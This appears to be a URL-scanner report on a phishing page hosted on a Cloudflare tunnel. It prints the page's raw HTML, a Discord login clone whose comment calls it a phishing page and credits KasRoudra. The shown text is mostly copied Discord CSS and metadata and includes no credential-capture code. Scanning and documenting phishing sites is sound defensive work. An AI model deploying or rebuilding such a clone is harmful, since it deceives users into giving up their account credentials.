https://coating-rivers-chart-sender.trycloudflare.com/login.html.php

Submitted URL:
https://coating-rivers-chart-sender.trycloudflare.com/login.html.php
Report Finished:

The outgoing links identified from the page

JavaScript Variables · 3 found

Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope

Console log messages · 12 found

Messages logged to the web console

HTML

The raw HTML body of the page

<!DOCTYPE html><!-- Modified by KasRoudra(https://github.com/KasRoudra) as a phishing page--><!-- Do not misuse it. It is created for educational purposes demonstarting how phishing works--><!-- Do not steal this code. Use it legally and provide proper credits--><html lang="en-US" style="font-size: 100%; --saturation-factor: 1;" class="full-motion app-focused theme-dark platform-web font-size-16" data-rh="lang,style,class"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><link rel="stylesheet" type="text/css" href="cid:[email protected]">    
    <meta content="width=device-width, initial-scale=1.0, maximum-scale=1, user-scalable=no" name="viewport">

    <!-- section:seometa -->
    <meta property="og:type" content="website">
    <meta property="og:site_name" content="Discord">
    <meta property="og:title" content="Discord - A New Way to Chat with Friends &amp; Communities">
    <meta property="og:description" content="Discord is the easiest way to communicate over voice, video, and text.  Chat, hang out, and stay close with your friends and communities."><meta property="og:image" content="https://discord.com/assets/652f40427e1f5186ad54836074898279.png">    <meta name="twitter:card" content="summary_large_image">
    <meta name="twitter:site" content="@discord">
    <meta name="twitter:creator" content="@discord">
    <!-- endsection -->
<link rel="stylesheet" href="https://discord.com/assets/532.5b1bfb9075c4de3cc588.css"><link rel="icon" href="https://discord.com/assets/ec2c34cadd4b5f4594415127380a85e6.ico">    <!-- section:title -->
    <title>Discord</title>
    <!-- endsection -->
  <style>

.layerContainer-yqaFcK { position: absolute; inset: 0px; pointer-events: none; z-index: 1002; background: none !important; }

.layer-v9HyYc { position: absolute; pointer-events: auto; }

.layerHidden-293Ou1 { visibility: hidden; }

.disabledPointerEvents-1ptgTB { pointer-events: none; }

.ring-13rgEW { position: absolute; display: none; pointer-events: none; background: none; --__adaptive-radius:4px; border-radius: var(--__adaptive-radius); --__adaptive-focus-color:var(--focus-primary); box-shadow: 0 0 0 4px var(--__adaptive-focus-color); }

.keyboard-mode .ring-13rgEW { display: block; background: none; margin: 0px; padding: 0px; }

.root-3R2ngo { position: absolute; inset: 0px; contain: strict; pointer-events: all; }

.enter-1qIQaf, .enterReducedMotion-2NDBR-, .exit-1xyzxd, .exitReducedMotion-2v89YR { transition-duration: 0.15s; transition-property: transform, opacity, -webkit-transform; transition-timing-function: ease-in-out; }

.enter-1qIQaf { transform: scale(1.1); }

.enter-1qIQaf, .enterReducedMotion-2NDBR- { opacity: 0; }

.exit-1xyzxd { transform: scale(1); }

.exit-1xyzxd, .exitReducedMotion-2v89YR { opacity: 1; }

.enterActive-14DLLh, .enterDone-2zvtsK { opacity: 1; transform: scale(1); }

.enterActiveReducedMotion-3ByHk9, .enterDoneReducedMotion-3BHxYR { opacity: 1; }

.exitActive-JZFsGn, .exitDone-2Q591Q { opacity: 0; transform: scale(1.1); }

.exitActiveReducedMotion-1nh73q, .exitDoneReducedMotion-1cPV4D { opacity: 0; }

.container-1sFeqf { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; }

.keybind-KpFkfr { margin-top: 8px; font-weight: 600; font-size: 13px; text-align: center; }

.closeButton-1tv5uR { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; -webkit-box-flex: 0; flex: 0 0 36px; border-width: 2px; border-style: solid; border-radius: 50%; width: 36px; height: 36px; cursor: pointer; }

.closeButton-1tv5uR:active { transform: translateY(1px); }

.theme-light .keybind-KpFkfr { color: rgb(220, 221, 222); }

.theme-light .closeButton-1tv5uR { border-color: rgb(220, 221, 222); }

.theme-light .closeButton-1tv5uR:hover { background-color: rgb(246, 246, 247); }

.theme-dark .keybind-KpFkfr { color: rgb(114, 118, 125); }

.theme-dark .closeButton-1tv5uR { border-color: rgb(114, 118, 125); }

.theme-dark .closeButton-1tv5uR:hover { background-color: rgba(114, 118, 125, 0.3); }

.theme-dark .keybindBold-1942Wp { color: rgb(185, 187, 190); }

.theme-dark .closeButtonBold-8kKURP { border-color: rgb(185, 187, 190); }

.theme-dark .closeButtonBold-8kKURP:hover { background-color: rgba(185, 187, 190, 0.3); }

@-webkit-keyframes spinner-wandering-cubes-1eyF3t { 
  25% { transform: translateX(22px) rotate(-90deg) scale(0.5); }
  50% { transform: translateX(22px) translateY(22px) rotate(-180deg); }
  75% { transform: translateX(0px) translateY(22px) rotate(-270deg) scale(0.5); }
  100% { transform: rotate(-1turn); }
}

@keyframes spinner-wandering-cubes-1eyF3t { 
  25% { transform: translateX(22px) rotate(-90deg) scale(0.5); }
  50% { transform: translateX(22px) translateY(22px) rotate(-180deg); }
  75% { transform: translateX(0px) translateY(22px) rotate(-270deg) scale(0.5); }
  100% { transform: rotate(-1turn); }
}

@-webkit-keyframes spinner-chasing-dots-rotate-1WX_VU { 
  100% { transform: rotate(1turn); }
}

@keyframes spinner-chasing-dots-rotate-1WX_VU { 
  100% { transform: rotate(1turn); }
}

@-webkit-keyframes spinner-chasing-dots-bounce-39u8Kf { 
  0%, 100% { transform: scale(0); }
  50% { transform: scale(1); }
}

@keyframes spinner-chasing-dots-bounce-39u8Kf { 
  0%, 100% { transform: scale(0); }
  50% { transform: scale(1); }
}

@-webkit-keyframes spinner-pulsing-ellipsis-1qRxRG { 
  0% { transform: scale(1); opacity: 1; }
  50% { transform: scale(0.8); opacity: 0.3; }
  100% { transform: scale(1); opacity: 1; }
}

@keyframes spinner-pulsing-ellipsis-1qRxRG { 
  0% { transform: scale(1); opacity: 1; }
  50% { transform: scale(0.8); opacity: 0.3; }
  100% { transform: scale(1); opacity: 1; }
}

@-webkit-keyframes spinner-low-motion-kHWo1a { 
  0% { opacity: 1; }
  50% { opacity: 0.6; }
  100% { opacity: 1; }
}

@keyframes spinner-low-motion-kHWo1a { 
  0% { opacity: 1; }
  50% { opacity: 0.6; }
  100% { opacity: 1; }
}

@-webkit-keyframes spinner-spinning-circle-rotate-1-ejtM { 
  100% { transform: rotate(1turn); }
}

@keyframes spinner-spinning-circle-rotate-1-ejtM { 
  100% { transform: rotate(1turn); }
}

@-webkit-keyframes spinner-spinning-circle-dash-3G9Wwf { 
  0% { stroke-dasharray: 1, 200; stroke-dashoffset: 0; }
  50% { stroke-dasharray: 130, 200; }
  100% { stroke-dasharray: 130, 200; stroke-dashoffset: -124; }
}

@keyframes spinner-spinning-circle-dash-3G9Wwf { 
  0% { stroke-dasharray: 1, 200; stroke-dashoffset: 0; }
  50% { stroke-dasharray: 130, 200; }
  100% { stroke-dasharray: 130, 200; stroke-dashoffset: -124; }
}

.spinner-2enMB9 { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.inner-1gJC7_ { position: relative; display: inline-block; width: 32px; height: 32px; contain: paint; }

.wanderingCubesItem-WPXqao { background-color: var(--brand-experiment-400); width: 10px; height: 10px; position: absolute; top: 0px; left: 0px; animation: 1.8s ease-in-out 0s infinite normal none running spinner-wandering-cubes-1eyF3t; }

.wanderingCubesItem-WPXqao:last-child { animation-delay: -0.9s; }

.chasingDots-OdvUfk { animation: 2s linear 0s infinite normal none running spinner-chasing-dots-rotate-1WX_VU; }

.chasingDotsItem-2DVNUn { width: 60%; height: 60%; display: inline-block; position: absolute; top: 0px; background-color: var(--brand-experiment); border-radius: 100%; animation: 2s ease-in-out 0s infinite normal none running spinner-chasing-dots-bounce-39u8Kf; }

.chasingDotsItem-2DVNUn:last-child { top: auto; bottom: 0px; animation-delay: -1s; }

.pulsingEllipsis-3YiXRF { height: auto; width: 28px; display: flex; -webkit-box-pack: center; justify-content: center; position: relative; }

.pulsingEllipsisItem-32hhWL { animation: 1.4s ease-in-out 0s infinite normal none running spinner-pulsing-ellipsis-1qRxRG; width: 6px; height: 6px; margin-right: 2px; background-color: hsl(180,calc(var(--saturation-factor, 1)*7.7%),97.5%); border-radius: 3px; display: inline-block; opacity: 0.3; }

.pulsingEllipsisItem-32hhWL:nth-of-type(2) { animation-delay: 0.2s; }

.pulsingEllipsisItem-32hhWL:nth-of-type(3) { animation-delay: 0.4s; }

.lowMotionItem-1DvHia { animation: 1.4s ease-in-out 0s infinite normal none running spinner-low-motion-kHWo1a; width: 6px; height: 6px; margin-right: 2px; background-color: var(--interactive-normal); border-radius: 3px; display: inline-block; opacity: 0.3; }

.lowMotionItem-1DvHia:nth-of-type(2) { animation-delay: 0.2s; }

.lowMotionItem-1DvHia:nth-of-type(3) { animation-delay: 0.4s; }

.stopAnimation-1XE1FK .chasingDots-OdvUfk, .stopAnimation-1XE1FK .chasingDotsItem-2DVNUn, .stopAnimation-1XE1FK .circular-2NaZOq, .stopAnimation-1XE1FK .path-92Hmty, .stopAnimation-1XE1FK .pulsingEllipsisItem-32hhWL, .stopAnimation-1XE1FK .wanderingCubesItem-WPXqao, .stop-animation .pulsingEllipsisItem-32hhWL { animation: 0s ease 0s 1 normal none running none; }

.spinningCircle-2NAjGW { width: 100%; }

.spinningCircleInner-mbM5zM { transform: rotate(280deg); }

.circular-2NaZOq { animation: 2s linear 0s infinite normal none running spinner-spinning-circle-rotate-1-ejtM; height: 100%; width: 100%; }

.path-92Hmty { animation: 2s ease-in-out 0s infinite normal none running spinner-spinning-circle-dash-3G9Wwf; stroke-dasharray: 1, 200; stroke-dashoffset: 0; fill: none; stroke-width: 6; stroke-miterlimit: 10; stroke-linecap: round; }

.path2-1q7bG_ { animation-delay: 0.15s; }

.path3-2l9TIX { animation-delay: 0.23s; }

.theme-light .path-92Hmty { stroke: var(--brand-experiment); }

.theme-light .path2-1q7bG_ { stroke: var(--brand-experiment-300); opacity: 0.6; }

.theme-light .path3-2l9TIX { stroke: var(--brand-experiment-100); opacity: 0.3; }

.theme-dark .path-92Hmty, .theme-dark .path2-1q7bG_ { stroke: var(--brand-experiment); }

.theme-dark .path2-1q7bG_ { opacity: 0.6; }

.theme-dark .path3-2l9TIX { stroke: var(--brand-experiment-800); }

html.low-saturation .lowSaturationUnderline-3svVxy { text-decoration: underline !important; }

.desaturate-qhyunI, [data-accessibility*="desaturate"] { filter: saturate(var(--saturation-factor,1)); }

.theme-dark { --brightness:calc(1.5 - var(--saturation-factor, 1)*0.5); --contrast:var(--saturation-factor,1); }

.theme-light { --brightness:calc(0.5 + var(--saturation-factor, 1)*0.5); --contrast:var(--saturation-factor,1); }

.desaturate-user-colors .desaturateUserColors-1gar-1 { filter: saturate(var(--saturation-factor,1)) contrast(var(--contrast,1)) brightness(var(--brightness,1)); }

.button-38aScr { position: relative; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; box-sizing: border-box; background: none; border: none; border-radius: 3px; font-size: 14px; font-weight: 500; line-height: 16px; padding: 2px 16px; user-select: none; }

.button-38aScr:disabled { cursor: not-allowed; opacity: 0.5; }

.borderBrand-1gITAL { border-color: var(--brand-experiment) !important; }

.lookFilled-1Gx00P.colorBrand-3pXr91 { color: rgb(255, 255, 255); background-color: var(--brand-experiment); }

.lookFilled-1Gx00P.colorBrand-3pXr91:hover { background-color: var(--brand-experiment-560); }

.lookFilled-1Gx00P.colorBrand-3pXr91:active { background-color: var(--brand-experiment-600); }

.lookFilled-1Gx00P.colorBrand-3pXr91 .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.lookFilled-1Gx00P.colorBrand-3pXr91:disabled { background-color: var(--brand-experiment); }

.lookInverted-2D7oAl.colorBrand-3pXr91 { color: var(--brand-experiment); background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorBrand-3pXr91:hover { background-color: var(--brand-experiment-100); }

.lookInverted-2D7oAl.colorBrand-3pXr91:active { background-color: var(--brand-experiment-200); }

.lookInverted-2D7oAl.colorBrand-3pXr91:disabled { background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorBrand-3pXr91 .spinnerItem-3GlVyU { background-color: var(--brand-experiment); }

.lookOutlined-3sRXeN.colorBrand-3pXr91 { color: var(--brand-experiment); border-color: var(--brand-experiment); }

.lookOutlined-3sRXeN.colorBrand-3pXr91:active { }

.lookOutlined-3sRXeN.colorBrand-3pXr91:disabled { background-color: transparent; }

.lookOutlined-3sRXeN.colorBrand-3pXr91 .spinnerItem-3GlVyU { background-color: var(--brand-experiment); }

.lookLink-9FtZy-.colorBrand-3pXr91 { color: var(--brand-experiment); }

.lookLink-9FtZy-.colorBrand-3pXr91:hover .contents-18-Yxp { background-image: linear-gradient(0deg,transparent,transparent 1px,var(--brand-experiment) 0,var(--brand-experiment) 2px,transparent 0); }

.lookLink-9FtZy-.colorBrand-3pXr91:disabled .contents-18-Yxp { background-image: none; }

.lookLink-9FtZy-.colorBrand-3pXr91 .spinnerItem-3GlVyU { background-color: var(--brand-experiment); }

.theme-dark .lookFilled-1Gx00P.hoverBrand-1_Fxlk.hasHover-3X1-zV:hover, .theme-light .lookFilled-1Gx00P.hoverBrand-1_Fxlk.hasHover-3X1-zV:hover { background-color: var(--brand-experiment); color: rgb(255, 255, 255); }

.theme-dark .lookFilled-1Gx00P.hoverBrand-1_Fxlk.hasHover-3X1-zV:active, .theme-light .lookFilled-1Gx00P.hoverBrand-1_Fxlk.hasHover-3X1-zV:active { background-color: var(--brand-experiment-560); color: rgb(255, 255, 255); }

.theme-dark .lookInverted-2D7oAl.hoverBrand-1_Fxlk.hasHover-3X1-zV:hover, .theme-light .lookInverted-2D7oAl.hoverBrand-1_Fxlk.hasHover-3X1-zV:hover { color: var(--brand-experiment); background-color: var(--brand-experiment-100); }

.theme-dark .lookInverted-2D7oAl.hoverBrand-1_Fxlk.hasHover-3X1-zV:active, .theme-light .lookInverted-2D7oAl.hoverBrand-1_Fxlk.hasHover-3X1-zV:active { color: var(--brand-experiment); background-color: var(--brand-experiment-200); }

.theme-dark .lookOutlined-3sRXeN.hoverBrand-1_Fxlk.hasHover-3X1-zV:hover, .theme-light .lookOutlined-3sRXeN.hoverBrand-1_Fxlk.hasHover-3X1-zV:hover { color: var(--brand-experiment); border-color: var(--brand-experiment); }

.theme-dark .lookOutlined-3sRXeN.hoverBrand-1_Fxlk.hasHover-3X1-zV:active, .theme-light .lookOutlined-3sRXeN.hoverBrand-1_Fxlk.hasHover-3X1-zV:active { color: var(--brand-experiment); border-color: var(--brand-experiment); }

.theme-dark .lookLink-9FtZy-.hoverBrand-1_Fxlk.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-light .lookLink-9FtZy-.hoverBrand-1_Fxlk.hasHover-3X1-zV:hover .contents-18-Yxp { color: var(--brand-experiment); background-image: linear-gradient(0deg,transparent,transparent 1px,var(--brand-experiment) 0,var(--brand-experiment) 2px,transparent 0); }

.borderYellow-3PQ437 { border-color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%) !important; }

.lookFilled-1Gx00P.colorYellow-2JqYwt { color: rgb(255, 255, 255); background-color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); }

.lookFilled-1Gx00P.colorYellow-2JqYwt:active, .lookFilled-1Gx00P.colorYellow-2JqYwt:hover { }

.lookFilled-1Gx00P.colorYellow-2JqYwt .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.lookFilled-1Gx00P.colorYellow-2JqYwt:disabled { background-color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); }

.lookInverted-2D7oAl.colorYellow-2JqYwt { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorYellow-2JqYwt:hover { background-color: hsl(38,calc(var(--saturation-factor, 1)*100%),97.8%); }

.lookInverted-2D7oAl.colorYellow-2JqYwt:active { background-color: hsl(37,calc(var(--saturation-factor, 1)*95.7%),90.8%); }

.lookInverted-2D7oAl.colorYellow-2JqYwt:disabled { background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorYellow-2JqYwt .spinnerItem-3GlVyU { background-color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); }

.lookOutlined-3sRXeN.colorYellow-2JqYwt { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); border-color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); }

.lookOutlined-3sRXeN.colorYellow-2JqYwt:active { background-color: hsla(38,calc(var(--saturation-factor, 1)*95.7%),54.1%,0.1); }

.lookOutlined-3sRXeN.colorYellow-2JqYwt:disabled { background-color: transparent; }

.lookOutlined-3sRXeN.colorYellow-2JqYwt .spinnerItem-3GlVyU { background-color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); }

.lookLink-9FtZy-.colorYellow-2JqYwt { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); }

.lookLink-9FtZy-.colorYellow-2JqYwt:hover .contents-18-Yxp { background-image: linear-gradient(0deg,transparent,transparent 1px,hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%) 0,hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%) 2px,transparent 0); }

.lookLink-9FtZy-.colorYellow-2JqYwt:disabled .contents-18-Yxp { background-image: none; }

.lookLink-9FtZy-.colorYellow-2JqYwt .spinnerItem-3GlVyU { background-color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); }

.theme-dark .lookFilled-1Gx00P.hoverYellow-171chs.hasHover-3X1-zV:hover, .theme-light .lookFilled-1Gx00P.hoverYellow-171chs.hasHover-3X1-zV:hover { background-color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); color: rgb(255, 255, 255); }

.theme-dark .lookFilled-1Gx00P.hoverYellow-171chs.hasHover-3X1-zV:active, .theme-light .lookFilled-1Gx00P.hoverYellow-171chs.hasHover-3X1-zV:active { color: rgb(255, 255, 255); }

.theme-dark .lookInverted-2D7oAl.hoverYellow-171chs.hasHover-3X1-zV:hover, .theme-light .lookInverted-2D7oAl.hoverYellow-171chs.hasHover-3X1-zV:hover { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); background-color: hsl(38,calc(var(--saturation-factor, 1)*100%),97.8%); }

.theme-dark .lookInverted-2D7oAl.hoverYellow-171chs.hasHover-3X1-zV:active, .theme-light .lookInverted-2D7oAl.hoverYellow-171chs.hasHover-3X1-zV:active { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); background-color: hsl(37,calc(var(--saturation-factor, 1)*95.7%),90.8%); }

.theme-dark .lookOutlined-3sRXeN.hoverYellow-171chs.hasHover-3X1-zV:hover, .theme-light .lookOutlined-3sRXeN.hoverYellow-171chs.hasHover-3X1-zV:hover { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); border-color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); }

.theme-dark .lookOutlined-3sRXeN.hoverYellow-171chs.hasHover-3X1-zV:active, .theme-light .lookOutlined-3sRXeN.hoverYellow-171chs.hasHover-3X1-zV:active { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); background-color: hsla(38,calc(var(--saturation-factor, 1)*95.7%),54.1%,0.1); border-color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); }

.theme-dark .lookLink-9FtZy-.hoverYellow-171chs.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-light .lookLink-9FtZy-.hoverYellow-171chs.hasHover-3X1-zV:hover .contents-18-Yxp { color: hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%); background-image: linear-gradient(0deg,transparent,transparent 1px,hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%) 0,hsl(38,calc(var(--saturation-factor, 1)*95.7%),54.1%) 2px,transparent 0); }

.borderLink-32thBH { border-color: var(--text-link) !important; }

.lookFilled-1Gx00P.colorLink-35jkBc { color: rgb(255, 255, 255); background-color: var(--text-link); }

.lookFilled-1Gx00P.colorLink-35jkBc:active, .lookFilled-1Gx00P.colorLink-35jkBc:hover { }

.lookFilled-1Gx00P.colorLink-35jkBc .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.lookFilled-1Gx00P.colorLink-35jkBc:disabled { background-color: var(--text-link); }

.lookInverted-2D7oAl.colorLink-35jkBc { color: var(--text-link); background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorLink-35jkBc:active, .lookInverted-2D7oAl.colorLink-35jkBc:disabled, .lookInverted-2D7oAl.colorLink-35jkBc:hover { background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorLink-35jkBc .spinnerItem-3GlVyU { background-color: var(--text-link); }

.lookOutlined-3sRXeN.colorLink-35jkBc { color: var(--text-link); border-color: var(--text-link); }

.lookOutlined-3sRXeN.colorLink-35jkBc:active { }

.lookOutlined-3sRXeN.colorLink-35jkBc:disabled { background-color: transparent; }

.lookOutlined-3sRXeN.colorLink-35jkBc .spinnerItem-3GlVyU { background-color: var(--text-link); }

.lookLink-9FtZy-.colorLink-35jkBc { color: var(--text-link); }

.lookLink-9FtZy-.colorLink-35jkBc:hover .contents-18-Yxp { background-image: linear-gradient(0deg,transparent,transparent 1px,var(--text-link) 0,var(--text-link) 2px,transparent 0); }

.lookLink-9FtZy-.colorLink-35jkBc:disabled .contents-18-Yxp { background-image: none; }

.lookLink-9FtZy-.colorLink-35jkBc .spinnerItem-3GlVyU { background-color: var(--text-link); }

.theme-dark .lookFilled-1Gx00P.hoverLink-i1fEKS.hasHover-3X1-zV:hover, .theme-light .lookFilled-1Gx00P.hoverLink-i1fEKS.hasHover-3X1-zV:hover { background-color: var(--text-link); color: rgb(255, 255, 255); }

.theme-dark .lookFilled-1Gx00P.hoverLink-i1fEKS.hasHover-3X1-zV:active, .theme-light .lookFilled-1Gx00P.hoverLink-i1fEKS.hasHover-3X1-zV:active { color: rgb(255, 255, 255); }

.theme-dark .lookInverted-2D7oAl.hoverLink-i1fEKS.hasHover-3X1-zV:active, .theme-dark .lookInverted-2D7oAl.hoverLink-i1fEKS.hasHover-3X1-zV:hover, .theme-light .lookInverted-2D7oAl.hoverLink-i1fEKS.hasHover-3X1-zV:active, .theme-light .lookInverted-2D7oAl.hoverLink-i1fEKS.hasHover-3X1-zV:hover { color: var(--text-link); background-color: rgb(255, 255, 255); }

.theme-dark .lookOutlined-3sRXeN.hoverLink-i1fEKS.hasHover-3X1-zV:hover, .theme-light .lookOutlined-3sRXeN.hoverLink-i1fEKS.hasHover-3X1-zV:hover { color: var(--text-link); border-color: var(--text-link); }

.theme-dark .lookOutlined-3sRXeN.hoverLink-i1fEKS.hasHover-3X1-zV:active, .theme-light .lookOutlined-3sRXeN.hoverLink-i1fEKS.hasHover-3X1-zV:active { color: var(--text-link); border-color: var(--text-link); }

.theme-dark .lookLink-9FtZy-.hoverLink-i1fEKS.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-light .lookLink-9FtZy-.hoverLink-i1fEKS.hasHover-3X1-zV:hover .contents-18-Yxp { color: var(--text-link); background-image: linear-gradient(0deg,transparent,transparent 1px,var(--text-link) 0,var(--text-link) 2px,transparent 0); }

.borderWhite-1TEEkR { border-color: rgb(255, 255, 255) !important; }

.lookFilled-1Gx00P.colorWhite-rEQuAQ { color: rgb(79, 84, 92); background-color: rgb(255, 255, 255); }

.lookFilled-1Gx00P.colorWhite-rEQuAQ:active, .lookFilled-1Gx00P.colorWhite-rEQuAQ:hover { }

.lookFilled-1Gx00P.colorWhite-rEQuAQ .spinnerItem-3GlVyU { background-color: rgb(79, 84, 92); }

.lookFilled-1Gx00P.colorWhite-rEQuAQ:disabled { background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorWhite-rEQuAQ { color: rgb(255, 255, 255); background-color: rgb(79, 84, 92); }

.lookInverted-2D7oAl.colorWhite-rEQuAQ:active, .lookInverted-2D7oAl.colorWhite-rEQuAQ:hover { background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorWhite-rEQuAQ:disabled { background-color: rgb(79, 84, 92); }

.lookInverted-2D7oAl.colorWhite-rEQuAQ .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.lookOutlined-3sRXeN.colorWhite-rEQuAQ { color: rgb(255, 255, 255); border-color: rgb(255, 255, 255); }

.lookOutlined-3sRXeN.colorWhite-rEQuAQ:active { background-color: rgba(255, 255, 255, 0.1); }

.lookOutlined-3sRXeN.colorWhite-rEQuAQ:disabled { background-color: transparent; }

.lookOutlined-3sRXeN.colorWhite-rEQuAQ .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.lookLink-9FtZy-.colorWhite-rEQuAQ { color: rgb(255, 255, 255); }

.lookLink-9FtZy-.colorWhite-rEQuAQ:hover .contents-18-Yxp { background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(255, 255, 255) 0px, rgb(255, 255, 255) 2px, transparent 0px); }

.lookLink-9FtZy-.colorWhite-rEQuAQ:disabled .contents-18-Yxp { background-image: none; }

.lookLink-9FtZy-.colorWhite-rEQuAQ .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.theme-dark .lookFilled-1Gx00P.hoverWhite-2uUmXw.hasHover-3X1-zV:hover, .theme-light .lookFilled-1Gx00P.hoverWhite-2uUmXw.hasHover-3X1-zV:hover { background-color: rgb(255, 255, 255); color: rgb(79, 84, 92); }

.theme-dark .lookFilled-1Gx00P.hoverWhite-2uUmXw.hasHover-3X1-zV:active, .theme-light .lookFilled-1Gx00P.hoverWhite-2uUmXw.hasHover-3X1-zV:active { color: rgb(79, 84, 92); }

.theme-dark .lookInverted-2D7oAl.hoverWhite-2uUmXw.hasHover-3X1-zV:active, .theme-dark .lookInverted-2D7oAl.hoverWhite-2uUmXw.hasHover-3X1-zV:hover, .theme-light .lookInverted-2D7oAl.hoverWhite-2uUmXw.hasHover-3X1-zV:active, .theme-light .lookInverted-2D7oAl.hoverWhite-2uUmXw.hasHover-3X1-zV:hover { color: rgb(255, 255, 255); background-color: rgb(255, 255, 255); }

.theme-dark .lookOutlined-3sRXeN.hoverWhite-2uUmXw.hasHover-3X1-zV:hover, .theme-light .lookOutlined-3sRXeN.hoverWhite-2uUmXw.hasHover-3X1-zV:hover { color: rgb(255, 255, 255); border-color: rgb(255, 255, 255); }

.theme-dark .lookOutlined-3sRXeN.hoverWhite-2uUmXw.hasHover-3X1-zV:active, .theme-light .lookOutlined-3sRXeN.hoverWhite-2uUmXw.hasHover-3X1-zV:active { color: rgb(255, 255, 255); background-color: rgba(255, 255, 255, 0.1); border-color: rgb(255, 255, 255); }

.theme-dark .lookLink-9FtZy-.hoverWhite-2uUmXw.hasHover-3X1-zV:hover .contents-18-Yxp, .theme-light .lookLink-9FtZy-.hoverWhite-2uUmXw.hasHover-3X1-zV:hover .contents-18-Yxp { color: rgb(255, 255, 255); background-image: linear-gradient(0deg, transparent, transparent 1px, rgb(255, 255, 255) 0px, rgb(255, 255, 255) 2px, transparent 0px); }

.borderBrandNew-15fytK { border-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%) !important; }

.lookFilled-1Gx00P.colorBrandNew-g5lmBU { color: rgb(255, 255, 255); background-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.lookFilled-1Gx00P.colorBrandNew-g5lmBU:hover { background-color: hsl(235,calc(var(--saturation-factor, 1)*51.4%),52.4%); }

.lookFilled-1Gx00P.colorBrandNew-g5lmBU:active { background-color: hsl(235,calc(var(--saturation-factor, 1)*46.7%),44.1%); }

.lookFilled-1Gx00P.colorBrandNew-g5lmBU .spinnerItem-3GlVyU { background-color: rgb(255, 255, 255); }

.lookFilled-1Gx00P.colorBrandNew-g5lmBU:disabled { background-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.lookInverted-2D7oAl.colorBrandNew-g5lmBU { color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorBrandNew-g5lmBU:hover { background-color: hsl(240,calc(var(--saturation-factor, 1)*77.8%),98.2%); }

.lookInverted-2D7oAl.colorBrandNew-g5lmBU:active { background-color: hsl(236,calc(var(--saturation-factor, 1)*83.3%),92.9%); }

.lookInverted-2D7oAl.colorBrandNew-g5lmBU:disabled { background-color: rgb(255, 255, 255); }

.lookInverted-2D7oAl.colorBrandNew-g5lmBU .spinnerItem-3GlVyU { background-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.lookOutlined-3sRXeN.colorBrandNew-g5lmBU { color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); border-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.lookOutlined-3sRXeN.colorBrandNew-g5lmBU:active { background-color: hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.1); }

.lookOutlined-3sRXeN.colorBrandNew-g5lmBU:disabled { background-color: transparent; }

.lookOutlined-3sRXeN.colorBrandNew-g5lmBU .spinnerItem-3GlVyU { background-color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.lookLink-9FtZy-.colorBrandNew-g5lmBU { color: hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); }

.lookLink-9FtZy-.colorBrandNew-g5lmBU:hover .contents-18-Yxp { background-image: linear-gradient(0deg,transparent,transparent 1px,hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%) 0,hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%) 2px,transparent 0); }

.lookLink-9FtZy-.colorBrandNew-g5lmBU:disabled .contents-18-Yxp { background-image: none; }

